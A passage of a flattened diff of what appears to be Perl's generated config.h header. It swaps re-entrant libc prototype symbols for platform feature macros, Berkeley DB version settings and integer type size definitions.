indicates that includes - * prototypes for getservent(), getservbyname(), and - * getservbyaddr(). Otherwise, it is up to the program to guess - * them. See netdbtype.U for probing for various Netdb_xxx_t types. +/* HAS_SETRESGID_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the setresgid() function. Otherwise, it is up + * to the program to supply one. Good guesses are + * extern int setresgid(uid_t ruid, uid_t euid, uid_t suid); */ -#define HAS_GETSERV_PROTOS /**/ +/*#define HAS_SETRESGID_PROTO / **/ -/* HAS_LSEEK_PROTO: +/* HAS_SETRESUID_PROTO: * This symbol, if defined, indicates that the system provides - * a prototype for the lseek() function. Otherwise, it is up - * to the program to supply one. A good guess is - * extern off_t lseek(int, off_t, int); + * a prototype for the setresuid() function. Otherwise, it is up + * to the program to supply one. Good guesses are + * extern int setresuid(uid_t ruid, uid_t euid, uid_t suid); */ -#define HAS_LSEEK_PROTO /**/ +/*#define HAS_SETRESUID_PROTO / **/ -/* Netdb_host_t: - * This symbol holds the type used for the 1st argument - * to gethostbyaddr(). +/* HAS_STRUCT_STATFS_F_FLAGS: + * This symbol, if defined, indicates that the struct statfs + * does have the f_flags member containing the mount flags of + * the filesystem containing the file. + * This kind of struct statfs is coming from (BSD 4.3), + * not from (SYSV). Older BSDs (like Ultrix) do not + * have statfs() and struct statfs, they have ustat() and getmnt() + * with struct ustat and struct fs_data. */ -/* Netdb_hlen_t: - * This symbol holds the type used for the 2nd argument - * to gethostbyaddr(). +/*#define HAS_STRUCT_STATFS_F_FLAGS / **/ + +/* HAS_STRUCT_STATFS: + * This symbol, if defined, indicates that the struct statfs + * to do statfs() is supported. */ -/* Netdb_name_t: - * This symbol holds the type used for the argument to - * gethostbyname(). +#define HAS_STRUCT_STATFS /**/ + +/* HAS_FSTATVFS: + * This symbol, if defined, indicates that the fstatvfs routine is + * available to stat filesystems by file descriptors. */ -/* Netdb_net_t: - * This symbol holds the type used for the 1st argument to - * getnetbyaddr(). +#define HAS_FSTATVFS /**/ + +/* HAS_STRFTIME: + * This symbol, if defined, indicates that the strftime routine is + * available to do time formatting. */ -#define Netdb_host_t char * /**/ -#define Netdb_hlen_t size_t /**/ -#define Netdb_name_t const char * /**/ -#define Netdb_net_t in_addr_t /**/ +#define HAS_STRFTIME /**/ -/* Select_fd_set_t: - * This symbol holds the type used for the 2nd, 3rd, and 4th - * arguments to select. Usually, this is 'fd_set *', if HAS_FD_SET - * is defined, and 'int *' otherwise. This is only useful if you - * have select(), of course. +/* HAS_STRLCAT: + * This symbol, if defined, indicates that the strlcat () routine is + * available to do string concatenation. */ -#define Select_fd_set_t fd_set * /**/ +/*#define HAS_STRLCAT / **/ -/* Sock_size_t: - * This symbol holds the type used for the size argument of - * various socket calls (just the base type, not the pointer-to). +/* HAS_STRLCPY: + * This symbol, if defined, indicates that the strlcpy () routine is + * available to do string copying. */ -#define Sock_size_t socklen_t /**/ +/*#define HAS_STRLCPY / **/ -/* ARCHNAME: - * This symbol holds a string representing the architecture name. - * It may be used to construct an architecture-dependant pathname - * where library files may be held under a private library, for - * instance. +/* HAS_STRTOLD: + * This symbol, if defined, indicates that the strtold routine is + * available to convert strings to long doubles. */ -#define ARCHNAME "x86_64-linux" /**/ +#define HAS_STRTOLD /**/ -/* HAS_ASCTIME_R: - * This symbol, if defined, indicates that the asctime_r routine - * is available to asctime re-entrantly. +/* HAS_STRTOLL: + * This symbol, if defined, indicates that the strtoll routine is + * available to convert strings to long longs. */ -/* ASCTIME_R_PROTO: - * This symbol encodes the prototype of asctime_r. - * It is zero if d_asctime_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r - * is defined. +#define HAS_STRTOLL /**/ + +/* HAS_STRTOQ: + * This symbol, if defined, indicates that the strtoq routine is + * available to convert strings to long longs (quads). */ -/*#define HAS_ASCTIME_R / **/ -#define ASCTIME_R_PROTO 0 /**/ +#define HAS_STRTOQ /**/ -/* HAS_CRYPT_R: - * This symbol, if defined, indicates that the crypt_r routine - * is available to crypt re-entrantly. +/* HAS_STRTOULL: + * This symbol, if defined, indicates that the strtoull routine is + * available to convert strings to unsigned long longs. */ -/* CRYPT_R_PROTO: - * This symbol encodes the prototype of crypt_r. - * It is zero if d_crypt_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r - * is defined. +#define HAS_STRTOULL /**/ + +/* HAS_STRTOUQ: + * This symbol, if defined, indicates that the strtouq routine is + * available to convert strings to unsigned long longs (quads). */ -/*#define HAS_CRYPT_R / **/ -#define CRYPT_R_PROTO 0 /**/ +#define HAS_STRTOUQ /**/ -/* HAS_CTERMID_R: - * This symbol, if defined, indicates that the ctermid_r routine - * is available to ctermid re-entrantly. +/* HAS_SYSCALL_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the syscall() function. Otherwise, it is up + * to the program to supply one. Good guesses are + * extern int syscall(int, ...); + * extern int syscall(long, ...); */ -/* CTERMID_R_PROTO: - * This symbol encodes the prototype of ctermid_r. - * It is zero if d_ctermid_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r - * is defined. +#define HAS_SYSCALL_PROTO /**/ + +/* HAS_TELLDIR_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the telldir() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern long telldir(DIR*); */ -/*#define HAS_CTERMID_R / **/ -#define CTERMID_R_PROTO 0 /**/ +#define HAS_TELLDIR_PROTO /**/ -/* HAS_CTIME_R: - * This symbol, if defined, indicates that the ctime_r routine - * is available to ctime re-entrantly. +/* HAS_CTIME64: + * This symbol, if defined, indicates that the ctime64 () routine is + * available to do the 64bit variant of ctime () */ -/* CTIME_R_PROTO: - * This symbol encodes the prototype of ctime_r. - * It is zero if d_ctime_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r - * is defined. +/* HAS_LOCALTIME64: + * This symbol, if defined, indicates that the localtime64 () routine is + * available to do the 64bit variant of localtime () */ -/*#define HAS_CTIME_R / **/ -#define CTIME_R_PROTO 0 /**/ - -/* HAS_DRAND48_R: - * This symbol, if defined, indicates that the drand48_r routine - * is available to drand48 re-entrantly. +/* HAS_GMTIME64: + * This symbol, if defined, indicates that the gmtime64 () routine is + * available to do the 64bit variant of gmtime () */ -/* DRAND48_R_PROTO: - * This symbol encodes the prototype of drand48_r. - * It is zero if d_drand48_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r - * is defined. +/* HAS_MKTIME64: + * This symbol, if defined, indicates that the mktime64 () routine is + * available to do the 64bit variant of mktime () + */ +/* HAS_DIFFTIME64: + * This symbol, if defined, indicates that the difftime64 () routine is + * available to do the 64bit variant of difftime () */ -/*#define HAS_DRAND48_R / **/ -#define DRAND48_R_PROTO 0 /**/ - -/* HAS_ENDGRENT_R: - * This symbol, if defined, indicates that the endgrent_r routine - * is available to endgrent re-entrantly. +/* HAS_ASCTIME64: + * This symbol, if defined, indicates that the asctime64 () routine is + * available to do the 64bit variant of asctime () */ -/* ENDGRENT_R_PROTO: - * This symbol encodes the prototype of endgrent_r. - * It is zero if d_endgrent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r - * is defined. +/*#define HAS_CTIME64 / **/ +/*#define HAS_LOCALTIME64 / **/ +/*#define HAS_GMTIME64 / **/ +/*#define HAS_MKTIME64 / **/ +/*#define HAS_DIFFTIME64 / **/ +/*#define HAS_ASCTIME64 / **/ + +/* HAS_TIMEGM: + * This symbol, if defined, indicates that the timegm routine is + * available to do the opposite of gmtime () */ -/*#define HAS_ENDGRENT_R / **/ -#define ENDGRENT_R_PROTO 0 /**/ +#define HAS_TIMEGM /**/ -/* HAS_ENDHOSTENT_R: - * This symbol, if defined, indicates that the endhostent_r routine - * is available to endhostent re-entrantly. +/* U32_ALIGNMENT_REQUIRED: + * This symbol, if defined, indicates that you must access + * character data through U32-aligned pointers. */ -/* ENDHOSTENT_R_PROTO: - * This symbol encodes the prototype of endhostent_r. - * It is zero if d_endhostent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r - * is defined. +#ifndef U32_ALIGNMENT_REQUIRED +#define U32_ALIGNMENT_REQUIRED /**/ +#endif + +/* HAS_UALARM: + * This symbol, if defined, indicates that the ualarm routine is + * available to do alarms with microsecond granularity. */ -/*#define HAS_ENDHOSTENT_R / **/ -#define ENDHOSTENT_R_PROTO 0 /**/ +#define HAS_UALARM /**/ -/* HAS_ENDNETENT_R: - * This symbol, if defined, indicates that the endnetent_r routine - * is available to endnetent re-entrantly. +/* HAS_UNORDERED: + * This symbol, if defined, indicates that the unordered routine is + * available to check whether two doubles are unordered + * (effectively: whether either of them is NaN) */ -/* ENDNETENT_R_PROTO: - * This symbol encodes the prototype of endnetent_r. - * It is zero if d_endnetent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r - * is defined. +/*#define HAS_UNORDERED / **/ + +/* HAS_UNSETENV: + * This symbol, if defined, indicates that the unsetenv () routine is + * available for use. */ -/*#define HAS_ENDNETENT_R / **/ -#define ENDNETENT_R_PROTO 0 /**/ +#define HAS_UNSETENV /**/ -/* HAS_ENDPROTOENT_R: - * This symbol, if defined, indicates that the endprotoent_r routine - * is available to endprotoent re-entrantly. +/* HAS_USLEEP_PROTO: + * This symbol, if defined, indicates that the system provides + * a prototype for the usleep() function. Otherwise, it is up + * to the program to supply one. A good guess is + * extern int usleep(useconds_t); */ -/* ENDPROTOENT_R_PROTO: - * This symbol encodes the prototype of endprotoent_r. - * It is zero if d_endprotoent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r - * is defined. +#define HAS_USLEEP_PROTO /**/ + +/* HAS_USTAT: + * This symbol, if defined, indicates that the ustat system call is + * available to query file system statistics by dev_t. */ -/*#define HAS_ENDPROTOENT_R / **/ -#define ENDPROTOENT_R_PROTO 0 /**/ +#define HAS_USTAT /**/ -/* HAS_ENDPWENT_R: - * This symbol, if defined, indicates that the endpwent_r routine - * is available to endpwent re-entrantly. +/* HAS_WRITEV: + * This symbol, if defined, indicates that the writev routine is + * available to do scatter writes. */ -/* ENDPWENT_R_PROTO: - * This symbol encodes the prototype of endpwent_r. - * It is zero if d_endpwent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r - * is defined. +#define HAS_WRITEV /**/ + +/* USE_DYNAMIC_LOADING: + * This symbol, if defined, indicates that dynamic loading of + * some sort is available. */ -/*#define HAS_ENDPWENT_R / **/ -#define ENDPWENT_R_PROTO 0 /**/ +#define USE_DYNAMIC_LOADING /**/ -/* HAS_ENDSERVENT_R: - * This symbol, if defined, indicates that the endservent_r routine - * is available to endservent re-entrantly. +/* FFLUSH_NULL: + * This symbol, if defined, tells that fflush(NULL) does flush + * all pending stdio output. */ -/* ENDSERVENT_R_PROTO: - * This symbol encodes the prototype of endservent_r. - * It is zero if d_endservent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r - * is defined. +/* FFLUSH_ALL: + * This symbol, if defined, tells that to flush + * all pending stdio output one must loop through all + * the stdio file handles stored in an array and fflush them. + * Note that if fflushNULL is defined, fflushall will not + * even be probed for and will be left undefined. */ -/*#define HAS_ENDSERVENT_R / **/ -#define ENDSERVENT_R_PROTO 0 /**/ +#define FFLUSH_NULL /**/ +/*#define FFLUSH_ALL / **/ -/* HAS_GETGRENT_R: - * This symbol, if defined, indicates that the getgrent_r routine - * is available to getgrent re-entrantly. +/* I_ASSERT: + * This symbol, if defined, indicates that exists and + * could be included by the C program to get the assert() macro. */ -/* GETGRENT_R_PROTO: - * This symbol encodes the prototype of getgrent_r. - * It is zero if d_getgrent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r - * is defined. +#define I_ASSERT /**/ + +/* I_CRYPT: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETGRENT_R / **/ -#define GETGRENT_R_PROTO 0 /**/ +#define I_CRYPT /**/ -/* HAS_GETGRGID_R: - * This symbol, if defined, indicates that the getgrgid_r routine - * is available to getgrgid re-entrantly. +/* DB_Prefix_t: + * This symbol contains the type of the prefix structure element + * in the header file. In older versions of DB, it was + * int, while in newer ones it is u_int32_t. */ -/* GETGRGID_R_PROTO: - * This symbol encodes the prototype of getgrgid_r. - * It is zero if d_getgrgid_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r - * is defined. +/* DB_Hash_t: + * This symbol contains the type of the prefix structure element + * in the header file. In older versions of DB, it was + * int, while in newer ones it is size_t. */ -/*#define HAS_GETGRGID_R / **/ -#define GETGRGID_R_PROTO 0 /**/ - -/* HAS_GETGRNAM_R: - * This symbol, if defined, indicates that the getgrnam_r routine - * is available to getgrnam re-entrantly. +/* DB_VERSION_MAJOR_CFG: + * This symbol, if defined, defines the major version number of + * Berkeley DB found in the header when Perl was configured. */ -/* GETGRNAM_R_PROTO: - * This symbol encodes the prototype of getgrnam_r. - * It is zero if d_getgrnam_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r - * is defined. +/* DB_VERSION_MINOR_CFG: + * This symbol, if defined, defines the minor version number of + * Berkeley DB found in the header when Perl was configured. + * For DB version 1 this is always 0. */ -/*#define HAS_GETGRNAM_R / **/ -#define GETGRNAM_R_PROTO 0 /**/ +/* DB_VERSION_PATCH_CFG: + * This symbol, if defined, defines the patch version number of + * Berkeley DB found in the header when Perl was configured. + * For DB version 1 this is always 0. + */ +#define DB_Hash_t u_int32_t /**/ +#define DB_Prefix_t size_t /**/ +#define DB_VERSION_MAJOR_CFG 4 /**/ +#define DB_VERSION_MINOR_CFG 5 /**/ +#define DB_VERSION_PATCH_CFG 20 /**/ -/* HAS_GETHOSTBYADDR_R: - * This symbol, if defined, indicates that the gethostbyaddr_r routine - * is available to gethostbyaddr re-entrantly. +/* I_FP: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETHOSTBYADDR_R_PROTO: - * This symbol encodes the prototype of gethostbyaddr_r. - * It is zero if d_gethostbyaddr_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r - * is defined. +/*#define I_FP / **/ + +/* I_FP_CLASS: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETHOSTBYADDR_R / **/ -#define GETHOSTBYADDR_R_PROTO 0 /**/ +/*#define I_FP_CLASS / **/ -/* HAS_GETHOSTBYNAME_R: - * This symbol, if defined, indicates that the gethostbyname_r routine - * is available to gethostbyname re-entrantly. +/* I_IEEEFP: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETHOSTBYNAME_R_PROTO: - * This symbol encodes the prototype of gethostbyname_r. - * It is zero if d_gethostbyname_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r - * is defined. +/*#define I_IEEEFP / **/ + +/* I_INTTYPES: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/*#define HAS_GETHOSTBYNAME_R / **/ -#define GETHOSTBYNAME_R_PROTO 0 /**/ +#define I_INTTYPES /**/ -/* HAS_GETHOSTENT_R: - * This symbol, if defined, indicates that the gethostent_r routine - * is available to gethostent re-entrantly. +/* I_LANGINFO: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETHOSTENT_R_PROTO: - * This symbol encodes the prototype of gethostent_r. - * It is zero if d_gethostent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r - * is defined. +#define I_LANGINFO /**/ + +/* I_LIBUTIL: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETHOSTENT_R / **/ -#define GETHOSTENT_R_PROTO 0 /**/ +/*#define I_LIBUTIL / **/ -/* HAS_GETLOGIN_R: - * This symbol, if defined, indicates that the getlogin_r routine - * is available to getlogin re-entrantly. +/* I_MALLOCMALLOC: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/* GETLOGIN_R_PROTO: - * This symbol encodes the prototype of getlogin_r. - * It is zero if d_getlogin_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r - * is defined. +/*#define I_MALLOCMALLOC / **/ + +/* I_MNTENT: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETLOGIN_R / **/ -#define GETLOGIN_R_PROTO 0 /**/ +#define I_MNTENT /**/ -/* HAS_GETNETBYADDR_R: - * This symbol, if defined, indicates that the getnetbyaddr_r routine - * is available to getnetbyaddr re-entrantly. +/* I_NETINET_TCP: + * This symbol, if defined, indicates to the C program that it should + * include . */ -/* GETNETBYADDR_R_PROTO: - * This symbol encodes the prototype of getnetbyaddr_r. - * It is zero if d_getnetbyaddr_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r - * is defined. +#define I_NETINET_TCP /**/ + +/* I_POLL: + * This symbol, if defined, indicates that exists and + * should be included. (see also HAS_POLL) */ -/*#define HAS_GETNETBYADDR_R / **/ -#define GETNETBYADDR_R_PROTO 0 /**/ +#define I_POLL /**/ -/* HAS_GETNETBYNAME_R: - * This symbol, if defined, indicates that the getnetbyname_r routine - * is available to getnetbyname re-entrantly. +/* I_PROT: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETNETBYNAME_R_PROTO: - * This symbol encodes the prototype of getnetbyname_r. - * It is zero if d_getnetbyname_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r - * is defined. +/*#define I_PROT / **/ + +/* I_SHADOW: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETNETBYNAME_R / **/ -#define GETNETBYNAME_R_PROTO 0 /**/ +#define I_SHADOW /**/ -/* HAS_GETNETENT_R: - * This symbol, if defined, indicates that the getnetent_r routine - * is available to getnetent re-entrantly. +/* I_SOCKS: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETNETENT_R_PROTO: - * This symbol encodes the prototype of getnetent_r. - * It is zero if d_getnetent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r - * is defined. +/*#define I_SOCKS / **/ + +/* I_SUNMATH: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETNETENT_R / **/ -#define GETNETENT_R_PROTO 0 /**/ +/*#define I_SUNMATH / **/ -/* HAS_GETPROTOBYNAME_R: - * This symbol, if defined, indicates that the getprotobyname_r routine - * is available to getprotobyname re-entrantly. +/* I_SYSLOG: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETPROTOBYNAME_R_PROTO: - * This symbol encodes the prototype of getprotobyname_r. - * It is zero if d_getprotobyname_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r - * is defined. +#define I_SYSLOG /**/ + +/* I_SYSMODE: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETPROTOBYNAME_R / **/ -#define GETPROTOBYNAME_R_PROTO 0 /**/ +/*#define I_SYSMODE / **/ -/* HAS_GETPROTOBYNUMBER_R: - * This symbol, if defined, indicates that the getprotobynumber_r routine - * is available to getprotobynumber re-entrantly. +/* I_SYS_MOUNT: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETPROTOBYNUMBER_R_PROTO: - * This symbol encodes the prototype of getprotobynumber_r. - * It is zero if d_getprotobynumber_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r - * is defined. +#define I_SYS_MOUNT /**/ + +/* I_SYS_STATFS: + * This symbol, if defined, indicates that exists. */ -/*#define HAS_GETPROTOBYNUMBER_R / **/ -#define GETPROTOBYNUMBER_R_PROTO 0 /**/ +#define I_SYS_STATFS /**/ -/* HAS_GETPROTOENT_R: - * This symbol, if defined, indicates that the getprotoent_r routine - * is available to getprotoent re-entrantly. +/* I_SYS_STATVFS: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETPROTOENT_R_PROTO: - * This symbol encodes the prototype of getprotoent_r. - * It is zero if d_getprotoent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r - * is defined. +#define I_SYS_STATVFS /**/ + +/* I_SYSUTSNAME: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETPROTOENT_R / **/ -#define GETPROTOENT_R_PROTO 0 /**/ +#define I_SYSUTSNAME /**/ -/* HAS_GETPWENT_R: - * This symbol, if defined, indicates that the getpwent_r routine - * is available to getpwent re-entrantly. +/* I_SYS_VFS: + * This symbol, if defined, indicates that exists and + * should be included. */ -/* GETPWENT_R_PROTO: - * This symbol encodes the prototype of getpwent_r. - * It is zero if d_getpwent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r - * is defined. +#define I_SYS_VFS /**/ + +/* I_USTAT: + * This symbol, if defined, indicates that exists and + * should be included. */ -/*#define HAS_GETPWENT_R / **/ -#define GETPWENT_R_PROTO 0 /**/ +#define I_USTAT /**/ -/* HAS_GETPWNAM_R: - * This symbol, if defined, indicates that the getpwnam_r routine - * is available to getpwnam re-entrantly. +/* PERL_PRIfldbl: + * This symbol, if defined, contains the string used by stdio to + * format long doubles (format 'f') for output. */ -/* GETPWNAM_R_PROTO: - * This symbol encodes the prototype of getpwnam_r. - * It is zero if d_getpwnam_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r - * is defined. +/* PERL_PRIgldbl: + * This symbol, if defined, contains the string used by stdio to + * format long doubles (format 'g') for output. */ -/*#define HAS_GETPWNAM_R / **/ -#define GETPWNAM_R_PROTO 0 /**/ - -/* HAS_GETPWUID_R: - * This symbol, if defined, indicates that the getpwuid_r routine - * is available to getpwuid re-entrantly. +/* PERL_PRIeldbl: + * This symbol, if defined, contains the string used by stdio to + * format long doubles (format 'e') for output. */ -/* GETPWUID_R_PROTO: - * This symbol encodes the prototype of getpwuid_r. - * It is zero if d_getpwuid_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r - * is defined. +/* PERL_SCNfldbl: + * This symbol, if defined, contains the string used by stdio to + * format long doubles (format 'f') for input. */ -/*#define HAS_GETPWUID_R / **/ -#define GETPWUID_R_PROTO 0 /**/ +#define PERL_PRIfldbl "Lf" /**/ +#define PERL_PRIgldbl "Lg" /**/ +#define PERL_PRIeldbl "Le" /**/ +#define PERL_SCNfldbl "Lf" /**/ -/* HAS_GETSERVBYNAME_R: - * This symbol, if defined, indicates that the getservbyname_r routine - * is available to getservbyname re-entrantly. - */ -/* GETSERVBYNAME_R_PROTO: - * This symbol encodes the prototype of getservbyname_r. - * It is zero if d_getservbyname_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r - * is defined. +/* NEED_VA_COPY: + * This symbol, if defined, indicates that the system stores + * the variable argument list datatype, va_list, in a format + * that cannot be copied by simple assignment, so that some + * other means must be used when copying is required. + * As such systems vary in their provision (or non-provision) + * of copying mechanisms, handy.h defines a platform- + * independent macro, Perl_va_copy(src, dst), to do the job. */ -/*#define HAS_GETSERVBYNAME_R / **/ -#define GETSERVBYNAME_R_PROTO 0 /**/ +/*#define NEED_VA_COPY / **/ -/* HAS_GETSERVBYPORT_R: - * This symbol, if defined, indicates that the getservbyport_r routine - * is available to getservbyport re-entrantly. +/* IVTYPE: + * This symbol defines the C type used for Perl's IV. */ -/* GETSERVBYPORT_R_PROTO: - * This symbol encodes the prototype of getservbyport_r. - * It is zero if d_getservbyport_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r - * is defined. +/* UVTYPE: + * This symbol defines the C type used for Perl's UV. */ -/*#define HAS_GETSERVBYPORT_R / **/ -#define GETSERVBYPORT_R_PROTO 0 /**/ - -/* HAS_GETSERVENT_R: - * This symbol, if defined, indicates that the getservent_r routine - * is available to getservent re-entrantly. +/* I8TYPE: + * This symbol defines the C type used for Perl's I8. */ -/* GETSERVENT_R_PROTO: - * This symbol encodes the prototype of getservent_r. - * It is zero if d_getservent_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r - * is defined. +/* U8TYPE: + * This symbol defines the C type used for Perl's U8. */ -/*#define HAS_GETSERVENT_R / **/ -#define GETSERVENT_R_PROTO 0 /**/ - -/* HAS_GETSPNAM_R: - * This symbol, if defined, indicates that the getspnam_r routine - * is available to getspnam re-entrantly. +/* I16TYPE: + * This symbol defines the C type used for Perl's I16. */ -/* GETSPNAM_R_PROTO: - * This symbol encodes the prototype of getspnam_r. - * It is zero if d_getspnam_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r - * is defined. +/* U16TYPE: + * This symbol defines the C type used for Perl's U16. */ -/*#define HAS_GETSPNAM_R / **/ -#define GETSPNAM_R_PROTO 0 /**/ - -/* HAS_GMTIME_R: - * This symbol, if defined, indicates that the gmtime_r routine - * is available to gmtime re-entrantly. +/* I32TYPE: + * This symbol defines the C type used for Perl's I32. */ -/* GMTIME_R_PROTO: - * This symbol encodes the prototype of gmtime_r. - * It is zero if d_gmtime_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r - * is defined. +/* U32TYPE: + * This symbol defines the C type used for Perl's U32. + */ +/* I64TYPE: + * This symbol defines the C type used for Perl's I64. + */ +/* U64TYPE: + * This symbol defines the C type used for Perl's U64. */ -/*#define HAS_GMTIME_R / **/ -#define GMTIME_R_PROTO 0 /**/ - -/* HAS_LOCALECONV_L: - * This symbol, if defined, indicates that the localeconv_l routine is - * available to query certain information about a locale. +/* NVTYPE: + * This symbol defines the C type used for Perl's NV. */ -/*#define HAS_LOCALECONV_L / **/ - -/* HAS_LOCALTIME_R: - * This symbol, if defined, indicates that the localtime_r routine - * is available to localtime re-entrantly. +/* IVSIZE: + * This symbol contains the sizeof(IV). */ -/* LOCALTIME_R_NEEDS_TZSET: - * Many libc's localtime_r implementations do not call tzset, - * making them differ from localtime(), and making timezone - * changes using $ENV{TZ} without explicitly calling tzset - * impossible. This symbol makes us call tzset before localtime_r +/* UVSIZE: + * This symbol contains the sizeof(UV). */ -/*#define LOCALTIME_R_NEEDS_TZSET / **/ -#ifdef LOCALTIME_R_NEEDS_TZSET -#define L_R_TZSET tzset(), -#else -#define L_R_TZSET -#endif - -/* LOCALTIME_R_PROTO: - * This symbol encodes the prototype of localtime_r. - * It is zero if d_localtime_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r - * is defined. +/* I8SIZE: + * This symbol contains the sizeof(I8). */ -/*#define HAS_LOCALTIME_R / **/ -#define LOCALTIME_R_PROTO 0 /**/ - -/* HAS_MBRLEN: - * This symbol, if defined, indicates that the mbrlen routine is - * available to get the length of multi-byte character strings. +/* U8SIZE: + * This symbol contains the sizeof(U8). */ -#define HAS_MBRLEN /**/ - -/* HAS_MBRTOWC: - * This symbol, if defined, indicates that the mbrtowc routine is - * available to convert a multi-byte character into a wide character. +/* I16SIZE: + * This symbol contains the sizeof(I16). */ -#define HAS_MBRTOWC /**/ - -/* HAS_THREAD_SAFE_NL_LANGINFO_L: - * This symbol, when defined, indicates presence of the nl_langinfo_l() - * function, and that it is thread-safe. +/* U16SIZE: + * This symbol contains the sizeof(U16). */ -/*#define HAS_THREAD_SAFE_NL_LANGINFO_L / **/ - -/* OLD_PTHREAD_CREATE_JOINABLE: - * This symbol, if defined, indicates how to create pthread - * in joinable (aka undetached) state. NOTE: not defined - * if pthread.h already has defined PTHREAD_CREATE_JOINABLE - * (the new version of the constant). - * If defined, known values are PTHREAD_CREATE_UNDETACHED - * and __UNDETACHED. +/* I32SIZE: + * This symbol contains the sizeof(I32). */ -/*#define OLD_PTHREAD_CREATE_JOINABLE / **/ - -/* HAS_PTHREAD_ATFORK: - * This symbol, if defined, indicates that the pthread_atfork routine - * is available to setup fork handlers. +/* U32SIZE: + * This symbol contains the sizeof(U32). */ -#define HAS_PTHREAD_ATFORK /**/ - -/* HAS_PTHREAD_YIELD: - * This symbol, if defined, indicates that the pthread_yield - * routine is available to yield the execution of the current - * thread. sched_yield is preferable to pthread_yield. +/* I64SIZE: + * This symbol contains the sizeof(I64). */ -/* SCHED_YIELD: - * This symbol defines the way to yield the execution of - * the current thread. Known ways are sched_yield, - * pthread_yield, and pthread_yield with NULL. +/* U64SIZE: + * This symbol contains the sizeof(U64). */ -/* HAS_SCHED_YIELD: - * This symbol, if defined, indicates that the sched_yield - * routine is available to yield the execution of the current - * thread. sched_yield is preferable to pthread_yield. +/* NVSIZE: + * This symbol contains the sizeof(NV). */ -#define HAS_PTHREAD_YIELD /**/ -#define SCHED_YIELD sched_yield() /**/ -#define HAS_SCHED_YIELD /**/ - -/* HAS_RANDOM_R: - * This symbol, if defined, indicates that the random_r routine - * is available to random re-entrantly. +/* NV_PRESERVES_UV: + * This symbol, if defined, indicates that a variable of type NVTYPE + * can preserve all the bits of a variable of type UVTYPE. */ -/* RANDOM_R_PROTO: - * This symbol encodes the prototype of random_r. - * It is zero if d_random_r is undef, and one of the - * REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r - * is defined. +/* NV_PRESERVES_UV_BITS: + * This symbol contains the number of bits a variable of type NVTYPE + * can preserve of a variable of type UVTYPE. */ -/*#define HAS_RANDOM_R / **/ -#define RANDOM_R_PROTO 0 /**/ - -/* HAS_READDIR64_R: - * This symbol, if defined, indicates that the readdir64_r routine - * is available to readdir64 re-entrantly. +/* 